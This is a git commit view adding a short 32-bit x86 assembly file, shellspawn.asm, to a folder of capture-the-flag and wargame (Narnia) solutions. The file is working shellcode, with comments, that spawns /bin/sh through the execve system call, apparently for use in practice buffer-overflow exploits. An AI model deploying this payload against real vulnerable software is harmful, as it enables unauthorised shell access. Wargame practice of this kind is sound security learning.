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some small fixes

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This commit is contained in:
Mari Wahl 2014-10-10 22:27:27 -04:00
parent ab70b811db
commit a50737bc6b
63 changed files with 8 additions and 19 deletions
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14
CTFs_and_WarGames/WARGAMES/narnia/shellspawn.asm Normal file
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@ -0,0 +1,14 @@
BITS 32
xor eax, eax ; zero eax
push eax ; null terminate the string
push 0x68732f2f ; push //sh (// is same as / for our purpose)
push 0x6e69622f ; push /bin
mov ebx, esp ; pass first argument using ebx
push eax ; third argument is empty
mov edx, esp
push eax ; second argument is empty
mov ecx, esp
mov al, 11 ; execve is system call #11
int 0x80 ; issue an interrupt